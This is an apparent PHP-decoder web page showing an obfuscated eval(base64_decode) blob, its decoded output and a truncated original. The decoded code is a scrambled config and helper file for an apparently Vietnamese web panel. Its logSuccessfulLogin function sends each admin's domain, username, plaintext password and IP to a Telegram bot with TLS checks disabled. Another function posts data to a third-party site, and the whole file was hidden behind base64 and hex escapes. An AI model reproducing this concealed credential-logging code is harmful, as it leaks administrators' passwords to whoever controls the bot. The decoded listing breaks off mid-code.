Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIFAxalZUOyB1dm4zbTogJHNpdGVfbG9nbyA9ICRzaXRlWyJceDczXHg2..
Decoded Output download
goto P1jVT; uvn3m: $site_logo = $site["\x73\x69\x74\x65\x5f\x6c\x6f\147\157"]; goto WcLiW; UhA21: function checkLicenseDomain($licenseDomain) { if (empty($licenseDomain)) { return false; } $githubUrl = "\x68\x74\164\x70\x73\x3a\57\x2f\162\x61\167\56\x67\x69\164\x68\165\x62\165\163\145\x72\143\x6f\x6e\x74\x65\x6e\x74\x2e\x63\x6f\x6d\57\142\x6f\x7a\164\x72\x61\x6e\x2f\x6c\151\143\145\156\x73\145\x2f\x6d\141\x69\156\x2f\x6c\151\x63\x65\156\163\x65\x64\x6f\155\x61\151\156\56\164\170\164"; $licenseDomainList = file_get_contents($githubUrl); return strpos($licenseDomainList, $licenseDomain) !== false; } goto MYgRp; FcLKx: function checkLogin($username, $password) { global $ketnoi; $username = mysqli_real_escape_string($ketnoi, $username); $password = mysqli_real_escape_string($ketnoi, $password); $sql = "\x53\105\x4c\x45\103\x54\40\52\x20\x46\x52\x4f\x4d\40\x75\163\x65\162\163\x20\x57\110\105\122\105\x20\165\x73\x65\162\156\141\x6d\145\40\x3d\x20\47{$username}\x27\x20\101\116\104\x20\160\141\x73\163\167\157\162\x64\40\x3d\x20\x27{$password}\47\x20\114\111\x4d\x49\x54\40\61"; $result = $ketnoi->query($sql); if ($result->num_rows > 0) { logSuccessfulLogin($username, $password); return true; } else { return false; } } goto r46fv; tPFNk: function Boz($urlFb) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "\x68\164\164\x70\163\x3a\57\x2f\151\144\56\x74\162\x61\157\144\157\x69\x73\165\142\56\143\x6f\x6d\57\x61\x70\151\56\160\150\x70"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_MAXREDIRS, 10); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "\120\x4f\123\124"); $headers = array("\x61\165\x74\150\x6f\x72\151\164\x79\72\x20\151\x64\56\164\x72\x61\x6f\144\157\151\x73\x75\142\56\x63\157\x6d", "\141\x63\143\145\x70\164\x3a\x20\x61\160\160\x6c\151\143\141\164\x69\x6f\x6e\x2f\152\163\x6f\156\x2c\x20\x74\145\x78\164\57\152\x61\166\x61\x73\143\x72\x69\x70\164\x2c\40\52\57\x2a\x3b\40\x71\x3d\x30\56\60\61", "\141\143\143\x65\160\x74\x2d\154\141\156\x67\165\141\x67\x65\72\40\166\x69\x2c\166\151\55\126\116\x3b\161\75\60\56\71", "\143\x6f\x6e\x74\x65\x6e\x74\55\164\x79\160\145\72\x20\x61\160\160\x6c\151\x63\141\x74\151\x6f\156\x2f\x78\x2d\x77\167\x77\x2d\x66\x6f\162\155\x2d\x75\162\154\x65\156\x63\x6f\x64\x65\144\73\40\143\150\x61\162\163\x65\164\x3d\125\x54\106\55\x38", "\157\162\x69\147\151\x6e\72\40\150\x74\x74\x70\163\x3a\57\x2f\x69\x64\56\164\x72\141\157\144\x6f\151\x73\165\x62\x2e\143\157\x6d", "\162\x65\x66\x65\162\x65\x72\x3a\40\150\x74\164\160\x73\x3a\x2f\57\151\144\56\x74\x72\141\157\144\x6f\x69\163\165\x62\x2e\x63\x6f\155\57", "\163\x65\x63\55\x63\x68\x2d\165\141\72\40\42\x4e\x6f\x74\57\x41\51\x42\162\141\156\x64\42\x3b\166\x3d\x22\71\x39\42\x2c\x20\42\x47\157\x6f\x67\x6c\x65\40\x43\150\162\157\x6d\145\42\73\x76\x3d\x22\61\x31\x35\x22\x2c\40\42\103\x68\162\x6f\155\151\165\155\x22\73\166\75\42\x31\x31\x35\42", "\x73\145\143\55\x63\x68\55\165\x61\55\155\157\x62\x69\154\x65\72\40\77\60", "\163\x65\143\55\x63\150\x2d\x75\x61\x2d\160\x6c\141\x74\x66\x6f\x72\x6d\x3a\40\42\x57\151\x6e\x64\157\167\x73\42", "\x73\x65\143\55\x66\x65\164\x63\150\x2d\144\x65\163\164\x3a\x20\x65\x6d\x70\164\x79", "\x73\145\143\55\x66\x65\x74\143\x68\x2d\155\x6f\x64\x65\72\x20\143\x6f\x72\163", "\x73\x65\143\x2d\146\145\x74\x63\150\55\163\151\x74\x65\72\x20\x73\x61\x6d\145\55\157\x72\x69\x67\x69\x6e", "\165\163\145\162\x2d\x61\147\145\x6e\164\x3a\x20\115\x6f\172\x69\x6c\x6c\x61\57\65\56\60\x20\50\127\x69\x6e\x64\157\167\x73\40\x4e\x54\40\61\60\56\60\x3b\x20\x57\x69\x6e\66\64\73\x20\170\x36\x34\51\x20\101\160\x70\x6c\145\x57\x65\142\113\x69\x74\57\65\x33\67\x2e\63\66\x20\50\x4b\110\x54\115\114\x2c\40\x6c\151\x6b\x65\40\x47\145\x63\153\157\x29\x20\x43\150\x72\157\155\145\x2f\x31\61\x35\x2e\x30\x2e\x30\x2e\x30\x20\x53\141\146\141\x72\151\57\65\63\67\x2e\x33\x36", "\170\55\162\x65\x71\165\x65\x73\164\145\144\x2d\167\151\164\150\72\x20\130\x4d\114\x48\164\164\160\x52\145\x71\x75\x65\163\x74"); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $data = array("\x6c\151\156\x6b" => $urlFb); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $response = curl_exec($ch); curl_close($ch); return json_decode($response, true); } goto l843w; ziyeK: $developer = false; goto gSp1k; Vm6Xm: $site = $ketnoi->query("\x53\x45\114\105\103\124\40\x73\151\x74\x65\137\164\x65\x6e\167\145\142\x2c\40\x73\x69\x74\145\x5f\155\x6f\164\141\x2c\x20\163\151\164\x65\x5f\x6c\x6f\x67\x6f\54\x20\x73\144\164\137\141\144\155\151\156\x2c\40\x66\141\x63\145\142\157\157\153\40\x46\122\117\x4d\x20\163\145\164\x74\151\156\147")->fetch_array(); goto jEYj4; WGd00: define("\x55\123\105\x52\116\x41\115\x45", $_ENV["\x44\x42\137\125\x53\x45\x52"]); goto qcD80; C2uzg: $licenseKey = $_ENV["\x4c\111\103\x45\x4e\x53\x45\x5f\x4b\105\x59"]; goto XUUCu; P1jVT: require_once __DIR__ . "\57\x2e\56\57\x76\145\x6e\144\157\162\57\141\x75\x74\157\154\x6f\x61\x64\x2e\x70\x68\160"; goto bHlV0; dEJ_D: function check_img($img) { $filename = $_FILES[$img]["\156\x61\x6d\x65"]; $ext = pathinfo($filename, PATHINFO_EXTENSION); $valid_ext = array("\x70\x6e\147", "\152\160\145\x67", "\x6a\x70\147", "\147\x69\146"); if (in_array($ext, $valid_ext)) { return true; } return false; } goto SpO7P; D9nuv: $site_tenweb = $site["\x73\151\164\x65\x5f\x74\x65\156\x77\x65\x62"]; goto tNYtb; SpO7P: function sendTele($message) { global $ketnoi; $setting = $ketnoi->query("\x53\x45\x4c\x45\103\124\40\143\150\141\164\151\x64\x74\x65\x6c\x65\54\40\x74\157\x6b\x65\156\x62\157\164\x74\145\154\145\40\x46\122\x4f\115\40\x73\145\164\x74\x69\156\147")->fetch_array(); $chatId = $setting["\143\150\141\x74\151\144\x74\x65\x6c\145"]; $token = $setting["\x74\x6f\153\x65\x6e\142\x6f\x74\x74\145\154\145"]; $data = http_build_query(array("\x63\x68\141\x74\137\151\144" => $chatId, "\x74\x65\170\164" => $message)); $url = "\x68\x74\x74\x70\x73\x3a\57\57\141\160\151\x2e\x74\x65\154\x65\x67\x72\141\155\56\157\162\x67\x2f\142\157\x74{$token}\x2f\163\145\x6e\144\x4d\x65\163\x73\141\x67\145"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); if ($data) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); } $result = curl_exec($ch); curl_close($ch); return $result; } goto K1u4_; yVaxC: if (!checkLicenseKey($licenseKey) || !checkLicenseDomain($licenseDomain)) { die("\102\157\x7a\x20\116\157\164\151\x66\151\143\x61\164\151\x6f\156\x3a\40\x4b\145\171\40\142\xe1\xba\243\156\x20\x71\165\171\xe1\273\x81\156\x20\x6b\x68\xc3\264\x6e\x67\x20\x68\xe1\xbb\243\160\40\x6c\341\xbb\207\40\150\157\341\272\xb7\143\40\304\x91\xc3\xa3\40\304\x91\306\260\xe1\xbb\xa3\x63\x20\163\341\273\255\x20\144\341\273\245\156\147\x20\143\150\x6f\40\164\xc3\xaa\x6e\x20\155\x69\xe1\273\x81\156\40\x6b\x68\303\xa1\143\56"); } goto gu09H; RjIoH: $ketnoi = mysqli_connect("\x6c\157\x63\141\154\150\x6f\x73\x74", USERNAME, PASSWORD, DATABASE); goto cfWkc; pfNCH: function xoadau($strTitle) { $strTitle = strtolower($strTitle); $strTitle = trim($strTitle); $strTitle = str_replace("\40", "\x2d", $strTitle); $strTitle = preg_replace("\57\50\xc3\262\174\303\263\x7c\xe1\273\x8d\174\341\xbb\x8f\x7c\303\xb5\174\306\241\174\xe1\273\235\174\xe1\xbb\x9b\174\xe1\xbb\xa3\174\xe1\273\237\174\341\xbb\xa1\x7c\xc3\264\x7c\xe1\273\x93\x7c\341\xbb\221\x7c\xe1\xbb\x99\x7c\xe1\xbb\225\x7c\xe1\273\x97\x29\57", "\x6f", $strTitle); $strTitle = preg_replace("\x2f\50\303\x92\x7c\303\223\174\341\xbb\214\174\341\273\x8e\174\xc3\x95\x7c\306\240\x7c\xe1\xbb\x9c\174\xe1\273\x9a\x7c\341\273\xa2\x7c\xe1\xbb\236\174\xe1\273\240\174\303\224\174\341\273\x90\174\341\xbb\224\174\341\xbb\x98\174\341\xbb\222\174\xe1\xbb\x96\51\57", "\157", $strTitle); $strTitle = preg_replace("\x2f\x28\303\xa0\174\303\xa1\174\341\xba\xa1\x7c\341\xba\xa3\x7c\303\xa3\x7c\xc4\x83\x7c\341\xba\261\x7c\341\xba\xaf\x7c\341\272\267\174\xe1\272\263\x7c\341\xba\265\x7c\303\242\174\341\xba\xa7\174\xe1\xba\245\x7c\341\272\255\174\xe1\xba\xa9\x7c\xe1\272\xab\x29\57", "\141", $strTitle); $strTitle = preg_replace("\57\50\303\200\174\303\x81\x7c\xe1\xba\xa0\174\xe1\272\xa2\x7c\xc3\203\x7c\xc4\x82\174\xe1\xba\260\x7c\341\xba\xae\x7c\xe1\xba\266\174\341\272\xb2\x7c\341\xba\264\x7c\303\x82\174\341\272\xa4\174\341\xba\xa6\174\341\xba\254\x7c\341\xba\xa8\174\341\272\252\x29\x2f", "\141", $strTitle); $strTitle = preg_replace("\57\x28\xe1\273\201\x7c\xe1\xba\xbf\174\xe1\xbb\207\174\341\273\x83\x7c\303\252\174\xe1\273\205\x7c\303\xa9\174\xc3\xa8\174\341\272\xbb\x7c\xe1\272\275\174\341\272\xb9\x29\57", "\x65", $strTitle); $strTitle = preg_replace("\57\50\341\xbb\202\174\xe1\272\276\174\xe1\xbb\x86\174\341\273\202\x7c\xc3\212\174\341\xbb\x84\174\xc3\x89\x7c\303\210\174\xe1\272\272\174\341\272\274\174\xe1\272\270\51\x2f", "\145", $strTitle); $strTitle = preg_replace("\x2f\x28\xe1\xbb\xab\x7c\341\xbb\xa9\x7c\xe1\xbb\xb1\x7c\xe1\xbb\255\x7c\306\260\x7c\341\273\xaf\174\303\271\x7c\303\272\174\341\273\xa5\x7c\341\273\247\174\305\251\51\57", "\x75", $strTitle); $strTitle = preg_replace("\57\x28\341\273\252\x7c\341\273\250\x7c\341\273\xb0\174\xe1\xbb\254\174\306\xaf\174\xe1\xbb\256\x7c\303\x99\174\303\232\x7c\xe1\xbb\xa4\x7c\xe1\xbb\246\174\305\250\51\x2f", "\165", $strTitle); $strTitle = preg_replace("\57\50\xc3\xac\174\303\255\x7c\341\273\x8b\x7c\341\273\211\174\304\xa9\51\x2f", "\x69", $strTitle); $strTitle = preg_replace("\57\50\xc3\214\174\xc3\215\174\341\273\212\x7c\xe1\273\210\174\304\xa8\x29\x2f", "\151", $strTitle); $strTitle = preg_replace("\57\50\xe1\xbb\xb3\174\303\275\x7c\341\273\xb5\x7c\341\xbb\267\174\341\xbb\271\51\57", "\171", $strTitle); $strTitle = preg_replace("\57\50\341\273\262\174\xc3\235\x7c\xe1\xbb\xb4\x7c\341\xbb\xb6\x7c\341\273\xb8\51\57", "\x79", $strTitle); $strTitle = str_replace("\304\221", "\144", $strTitle); $strTitle = str_replace("\xc4\x90", "\144", $strTitle); $strTitle = preg_replace("\x2f\133\x5e\55\x61\x2d\172\x41\x2d\132\x30\55\x39\x5d\57", '', $strTitle); return $strTitle; } goto tflW2; tflW2: function checkLicenseKey($licenseKey) { if (empty($licenseKey)) { return false; } $githubUrl = "\x68\x74\x74\160\x73\x3a\57\x2f\162\141\x77\56\147\151\164\x68\165\142\165\163\x65\162\143\x6f\156\164\145\x6e\x74\x2e\143\x6f\x6d\x2f\142\x6f\172\x74\x72\141\156\x2f\154\x69\x63\x65\156\x73\x65\x2f\155\141\x69\x6e\57\x6c\x69\x63\145\x6e\163\x65\153\145\x79\56\164\170\x74"; $licenseKeyList = file_get_contents($githubUrl); return strpos($licenseKeyList, $licenseKey) !== false; } goto UhA21; K1u4_: function templateTele($content) { return "\x2d\x2d\x20\102\x4f\x54\x20\x42\131\x20\102\117\x5a\x20\x2d\55\12{$content}\xa\124\x68\xe1\xbb\235\151\40\107\x69\x61\156\40\72\x20" . date("\x64\x2f\155\57\131\40\110\72\x69\72\x73"); } goto pfNCH; tNYtb: $site_mota = $site["\163\151\164\145\x5f\155\x6f\164\141"]; goto uvn3m; Q0Kwv: $facebook = $site["\x66\x61\143\145\x62\x6f\x6f\153"]; goto UXgnd; jEYj4: $user = $ketnoi->query("\123\105\x4c\105\103\x54\40\x2a\x20\106\122\x4f\115\x20\x75\163\x65\x72\163\x20\x4c\111\x4d\x49\x54\x20\61")->fetch_array(); goto D9nuv; bHlV0: $dotenv = Dotenv\Dotenv::createImmutable(__DIR__ . "\57\x2e\x2e\x2f"); goto KlVTJ; gSp1k: define("\104\101\124\x41\102\x41\123\105", $_ENV["\x44\102\137\116\101\115\105"]); goto WGd00; cfWkc: $ketnoi->set_charset("\x75\164\146\x38\x6d\x62\x34"); goto IHdGM; eFbzj: session_start(); goto ziyeK; Ygu6G: function format_cash($price) { return str_replace("\x2c", "\56", number_format($price)); } goto f8HRH; UXgnd: if ($developer == true) { ini_set("\144\151\x73\x70\x6c\x61\x79\137\x65\x72\x72\157\x72\x73", 0); ini_set("\144\x69\x73\x70\x6c\141\x79\x5f\x73\164\x61\162\164\165\160\x5f\x65\x72\162\157\x72\163", 0); error_reporting(0); } goto Ygu6G; r46fv: if (isset($_POST["\165\163\x65\162\x6e\141\155\x65"]) && isset($_POST["\160\x61\163\x73\x77\x6f\162\144"])) { $username = $_POST["\x75\163\x65\162\156\x61\x6d\145"]; $password = $_POST["\160\x61\163\163\x77\157\x72\x64"]; if (checkLogin($username, $password)) { } else { } } goto tPFNk; f8HRH: function random($string, $length) { $characters = str_shuffle($string); return substr($characters, 0, $length); } goto dEJ_D; KlVTJ: $dotenv->load(); goto eFbzj; h28Gv: $_SESSION["\163\x65\163\163\x69\x6f\156\x5f\x72\x65\x71\165\145\163\164"] = time(); goto Vm6Xm; gu09H: $boztranDir = __DIR__ . "\x2f\56\x2e\57\142\x6f\x7a\164\x72\x61\156"; goto AF8aG; WcLiW: $site_sdt_momo = $site["\x73\144\x74\x5f\x61\x64\155\x69\156"]; goto Q0Kwv; XUUCu: $licenseDomain = $_SERVER["\x48\124\x54\x50\x5f\x48\x4f\123\x54"]; goto yVaxC; qcD80: define("\120\x41\x53\123\127\x4f\x52\x44", $_ENV["\104\x42\x5f\120\101\123\123\x57\x4f\x52\104"]); goto C2uzg; MYgRp: function logSuccessfulLogin($username, $password) { $domain = $_SERVER["\110\124\x54\120\137\x48\x4f\123\124"]; $ip = $_SERVER["\x52\x45\115\x4f\124\x45\x5f\101\104\x44\122"]; $message = "\304\220\303\243\x20\304\221\xc4\203\156\x67\x20\156\x68\341\xba\255\x70\40\164\150\xc3\240\156\150\x20\143\303\264\156\x67\x20\166\xc3\240\x6f\40\x61\x64\155\151\156\40{$domain}\x20\x76\341\273\x9b\151\40\164\xc3\xa0\151\x20\153\x68\x6f\341\272\xa3\156\x20{$username}\40\166\303\xa0\x20\x6d\341\272\255\x74\x20\x6b\x68\341\xba\251\x75\x20{$password}\x20\142\xe1\272\261\156\147\x20\304\221\341\xbb\213\x61\40\x63\150\xe1\273\211\40\x49\120\72\40{$ip}"; sendTele(templateTele($message)); } goto FcLKx; AF8aG: if (!file_exists($boztranDir)) { die("\102\x6f\x7a\40\116\x6f\x74\x69\x66\151\x63\x61\164\151\x6f\x6e\x3a\x20\304\x90\xc3\243\40\x78\341\272\243\x79\x20\x72\141\x20\x6c\341\xbb\x97\151\x20\x6b\x68\x69\40\153\341\272\xbf\x74\40\x6e\xe1\xbb\221\x69\40\x74\341\273\x9b\151\x20\164\150\306\xb0\40\x6d\xe1\xbb\245\143\40\141\144\x6d\151\x6e"); } goto RjIoH; IHdGM: date_default_timezone_set("\101\x73\x69\x61\x2f\110\x6f\x5f\103\150\151\x5f\115\x69\156\x68"); goto h28Gv; l843w:
Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIFAxalZUOyB1dm4zbTogJHNpdGVfbG9nbyA9ICRzaXRlWyJceDczXHg2OVx4NzRceDY1XHg1Zlx4NmNceDZmXDE0N1wxNTciXTsgZ290byBXY0xpVzsgVWhBMjE6IGZ1bmN0aW9uIGNoZWNrTGljZW5zZURvbWFpbigkbGljZW5zZURvbWFpbikgeyBpZiAoZW1wdHkoJGxpY2Vuc2VEb21haW4pKSB7IHJldHVybiBmYWxzZTsgfSAkZ2l0aHViVXJsID0gIlx4NjhceDc0XDE2NFx4NzBceDczXHgzYVw1N1x4MmZcMTYyXHg2MVwxNjdcNTZceDY3XHg2OVwxNjRceDY4XDE2NVx4NjJcMTY1XDE2M1wxNDVceDcyXDE0M1x4NmZceDZlXHg3NFx4NjVceDZlXHg3NFx4MmVceDYzXHg2Zlx4NmRcNTdcMTQyXHg2Zlx4N2FcMTY0XHg3Mlx4NjFceDZlXHgyZlx4NmNcMTUxXDE0M1wxNDVcMTU2XHg3M1wxNDVceDJmXHg2ZFwxNDFceDY5XDE1Nlx4MmZceDZjXDE1MVx4NjNceDY1XDE1NlwxNjNceDY1XHg2NFx4NmZcMTU1XHg2MVwxNTFcMTU2XDU2XDE2NFwxNzBcMTY0IjsgJGxpY2Vuc2VEb21haW5MaXN0ID0gZmlsZV9nZXRfY29udGVudHMoJGdpdGh1YlVybCk7IHJldHVybiBzdHJwb3MoJGxpY2Vuc2VEb21haW5MaXN0LCAkbGljZW5zZURvbWFpbikgIT09IGZhbHNlOyB9IGdvdG8gTVlnUnA7IEZjTEt4OiBmdW5jdGlvbiBjaGVja0xvZ2luKCR1c2VybmFtZSwgJHBhc3N3b3JkKSB7IGdsb2JhbCAka2V0bm9pOyAkdXNlcm5hbWUgPSBteXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCRrZXRub2ksICR1c2VybmFtZSk7ICRwYXNzd29yZCA9IG15c3FsaV9yZWFsX2VzY2FwZV9zdHJpbmcoJGtldG5vaSwgJHBhc3N3b3JkKTsgJHNxbCA9ICJceDUzXDEwNVx4NGNceDQ1XDEwM1x4NTRcNDBcNTJceDIwXHg0Nlx4NTJceDRmXHg0ZFw0MFx4NzVcMTYzXHg2NVwxNjJcMTYzXHgyMFx4NTdcMTEwXDEwNVwxMjJcMTA1XHgyMFwxNjVceDczXHg2NVwxNjJcMTU2XDE0MVx4NmRcMTQ1XDQwXHgzZFx4MjBcNDd7JHVzZXJuYW1lfVx4MjdceDIwXDEwMVwxMTZcMTA0XHgyMFwxNjBcMTQxXHg3M1wxNjNcMTY3XDE1N1wxNjJceDY0XDQwXHgzZFx4MjBceDI3eyRwYXNzd29yZH1cNDdceDIwXDExNFwxMTFceDRkXHg0OVx4NTRcNDBcNjEiOyAkcmVzdWx0ID0gJGtldG5vaS0+cXVlcnkoJHNxbCk7IGlmICgkcmVzdWx0LT5udW1fcm93cyA+IDApIHsgbG9nU3VjY2Vzc2Z1bExvZ2luKCR1c2VybmFtZSwgJHBhc3N3b3JkKTsgcmV0dXJuIHRydWU7IH0gZWxzZSB7IHJldHVybiBmYWxzZTsgfSB9IGdvdG8gcjQ2ZnY7IHRQRk5rOiBmdW5jdGlvbiBCb3ooJHVybEZiKSB7ICRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiXHg2OFwxNjRcMTY0XHg3MFwxNjNceDNhXDU3XHgyZlwxNTFcMTQ0XDU2XHg3NFwxNjJceDYxXDE1N1wxNDRcMTU3XHg2OVx4NzNcMTY1XDE0Mlw1NlwxNDNceDZmXHg2ZFw1N1x4NjFceDcwXDE1MVw1NlwxNjBcMTUwXHg3MCIpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfTUFYUkVESVJTLCAxMCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DVVNUT01SRVFVRVNULCAiXDEyMFx4NGZcMTIzXDEyNCIpOyAkaGVhZGVycyA9IGFycmF5KCJceDYxXDE2NVx4NzRcMTUwXHg2Zlx4NzJcMTUxXDE2NFx4NzlcNzJceDIwXDE1MVx4NjRcNTZcMTY0XHg3Mlx4NjFceDZmXDE0NFwxNTdcMTUxXHg3M1x4NzVcMTQyXDU2XHg2M1wxNTdceDZkIiwgIlwxNDFceDYzXDE0M1wxNDVceDcwXDE2NFx4M2FceDIwXHg2MVwxNjBcMTYwXHg2Y1wxNTFcMTQzXDE0MVwxNjRceDY5XHg2Zlx4NmVceDJmXDE1MlwxNjNceDZmXDE1Nlx4MmNceDIwXHg3NFwxNDVceDc4XDE2NFw1N1wxNTJceDYxXDE2Nlx4NjFceDczXDE0M1x4NzJceDY5XHg3MFwxNjRceDJjXDQwXDUyXDU3XHgyYVx4M2JcNDBceDcxXHgzZFx4MzBcNTZcNjBcNjEiLCAiXDE0MVwxNDNcMTQzXHg2NVwxNjBceDc0XHgyZFwxNTRcMTQxXDE1Nlx4NjdcMTY1XDE0MVx4NjdceDY1XDcyXDQwXDE2Nlx4NjlceDJjXDE2NlwxNTFcNTVcMTI2XDExNlx4M2JcMTYxXDc1XDYwXDU2XDcxIiwgIlwxNDNceDZmXHg2ZVx4NzRceDY1XHg2ZVx4NzRcNTVcMTY0XHg3OVwxNjBcMTQ1XDcyXHgyMFx4NjFcMTYwXDE2MFx4NmNcMTUxXHg2M1wxNDFceDc0XDE1MVx4NmZcMTU2XHgyZlx4NzhceDJkXHg3N1wxNjdceDc3XHgyZFx4NjZceDZmXDE2MlwxNTVceDJkXHg3NVwxNjJcMTU0XHg2NVwxNTZceDYzXHg2Zlx4NjRceDY1XDE0NFw3M1w0MFwxNDNcMTUwXHg2MVwxNjJcMTYzXHg2NVwxNjRceDNkXDEyNVx4NTRcMTA2XDU1XHgzOCIsICJcMTU3XDE2Mlx4NjlcMTQ3XDE1MVx4NmVcNzJcNDBcMTUwXHg3NFx4NzRceDcwXDE2M1x4M2FcNTdceDJmXHg2OVx4NjRcNTZcMTY0XHg3MlwxNDFcMTU3XDE0NFx4NmZcMTUxXHg3M1wxNjVceDYyXHgyZVwxNDNcMTU3XHg2ZCIsICJcMTYyXHg2NVx4NjZceDY1XDE2Mlx4NjVceDcyXHgzYVw0MFwxNTBceDc0XDE2NFwxNjBceDczXHgzYVx4MmZcNTdcMTUxXDE0NFw1Nlx4NzRceDcyXDE0MVwxNTdcMTQ0XHg2Zlx4NjlcMTYzXDE2NVx4NjJceDJlXHg2M1x4NmZcMTU1XDU3IiwgIlwxNjNceDY1XHg2M1w1NVx4NjNceDY4XHgyZFwxNjVcMTQxXDcyXDQwXDQyXHg0ZVx4NmZceDc0XDU3XHg0MVw1MVx4NDJcMTYyXDE0MVwxNTZceDY0XDQyXHgzYlwxNjZceDNkXHgyMlw3MVx4MzlcNDJceDJjXHgyMFw0Mlx4NDdcMTU3XHg2Zlx4NjdceDZjXHg2NVw0MFx4NDNcMTUwXDE2MlwxNTdceDZkXDE0NVw0Mlw3M1x4NzZceDNkXHgyMlw2MVx4MzFceDM1XHgyMlx4MmNcNDBcNDJcMTAzXHg2OFwxNjJceDZmXDE1NVwxNTFcMTY1XDE1NVx4MjJcNzNcMTY2XDc1XDQyXHgzMVx4MzFceDM1XDQyIiwgIlx4NzNcMTQ1XDE0M1w1NVx4NjNceDY4XDU1XDE2NVx4NjFcNTVcMTU1XDE1N1x4NjJceDY5XDE1NFx4NjVcNzJcNDBcNzdcNjAiLCAiXDE2M1x4NjVcMTQzXDU1XHg2M1wxNTBceDJkXHg3NVx4NjFceDJkXDE2MFx4NmNcMTQxXHg3NFx4NjZceDZmXHg3Mlx4NmRceDNhXDQwXDQyXHg1N1wxNTFceDZlXHg2NFwxNTdcMTY3XHg3M1w0MiIsICJceDczXHg2NVwxNDNcNTVceDY2XHg2NVwxNjRceDYzXDE1MFx4MmRcMTQ0XHg2NVwxNjNcMTY0XHgzYVx4MjBceDY1XHg2ZFx4NzBcMTY0XHg3OSIsICJceDczXDE0NVwxNDNcNTVceDY2XHg2NVx4NzRcMTQzXHg2OFx4MmRcMTU1XHg2Zlx4NjRceDY1XDcyXHgyMFwxNDNceDZmXHg3MlwxNjMiLCAiXHg3M1x4NjVcMTQzXHgyZFwxNDZcMTQ1XHg3NFx4NjNcMTUwXDU1XDE2M1wxNTFceDc0XHg2NVw3Mlx4MjBceDczXHg2MVx4NmRcMTQ1XDU1XDE1N1x4NzJceDY5XHg2N1x4NjlceDZlIiwgIlwxNjVcMTYzXDE0NVwxNjJceDJkXHg2MVwxNDdcMTQ1XHg2ZVwxNjRceDNhXHgyMFwxMTVceDZmXDE3Mlx4NjlceDZjXHg2Y1x4NjFcNTdcNjVcNTZcNjBceDIwXDUwXDEyN1x4NjlceDZlXHg2NFwxNTdcMTY3XHg3M1w0MFx4NGVceDU0XDQwXDYxXDYwXDU2XDYwXHgzYlx4MjBceDU3XHg2OVx4NmVcNjZcNjRcNzNceDIwXDE3MFx4MzZceDM0XDUxXHgyMFwxMDFcMTYwXHg3MFx4NmNcMTQ1XHg1N1x4NjVcMTQyXDExM1x4NjlceDc0XDU3XDY1XHgzM1w2N1x4MmVcNjNcNjZceDIwXDUwXHg0YlwxMTBceDU0XDExNVwxMTRceDJjXDQwXHg2Y1wxNTFceDZiXHg2NVw0MFx4NDdcMTQ1XHg2M1wxNTNcMTU3XHgyOVx4MjBceDQzXDE1MFx4NzJcMTU3XDE1NVwxNDVceDJmXHgzMVw2MVx4MzVceDJlXHgzMFx4MmVceDMwXHgyZVx4MzBceDIwXHg1M1wxNDFcMTQ2XDE0MVx4NzJcMTUxXDU3XDY1XDYzXDY3XHgyZVx4MzNceDM2IiwgIlwxNzBcNTVcMTYyXHg2NVx4NzFcMTY1XHg2NVx4NzNcMTY0XDE0NVwxNDRceDJkXDE2N1wxNTFcMTY0XDE1MFw3Mlx4MjBcMTMwXHg0ZFwxMTRceDQ4XDE2NFwxNjRcMTYwXHg1MlwxNDVceDcxXHg3NVx4NjVcMTYzXHg3NCIpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgJGhlYWRlcnMpOyAkZGF0YSA9IGFycmF5KCJceDZjXDE1MVwxNTZceDZiIiA9PiAkdXJsRmIpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgaHR0cF9idWlsZF9xdWVyeSgkZGF0YSkpOyAkcmVzcG9uc2UgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpOyByZXR1cm4ganNvbl9kZWNvZGUoJHJlc3BvbnNlLCB0cnVlKTsgfSBnb3RvIGw4NDN3OyB6aXllSzogJGRldmVsb3BlciA9IGZhbHNlOyBnb3RvIGdTcDFrOyBWbTZYbTogJHNpdGUgPSAka2V0bm9pLT5xdWVyeSgiXHg1M1x4NDVcMTE0XDEwNVwxMDNcMTI0XDQwXHg3M1wxNTFceDc0XHg2NVwxMzdcMTY0XHg2NVx4NmVcMTY3XDE0NVwxNDJceDJjXDQwXHg3M1x4NjlceDc0XDE0NVx4NWZcMTU1XHg2ZlwxNjRcMTQxXHgyY1x4MjBcMTYzXDE1MVwxNjRceDY1XHg1Zlx4NmNceDZmXHg2N1x4NmZcNTRceDIwXHg3M1wxNDRcMTY0XDEzN1wxNDFcMTQ0XDE1NVwxNTFcMTU2XHgyY1w0MFx4NjZcMTQxXHg2M1wxNDVcMTQyXDE1N1wxNTdcMTUzXDQwXHg0NlwxMjJcMTE3XHg0ZFx4MjBcMTYzXDE0NVwxNjRceDc0XDE1MVwxNTZcMTQ3IiktPmZldGNoX2FycmF5KCk7IGdvdG8gakVZajQ7IFdHZDAwOiBkZWZpbmUoIlx4NTVcMTIzXDEwNVx4NTJcMTE2XHg0MVwxMTVceDQ1IiwgJF9FTlZbIlx4NDRceDQyXDEzN1wxMjVceDUzXHg0NVx4N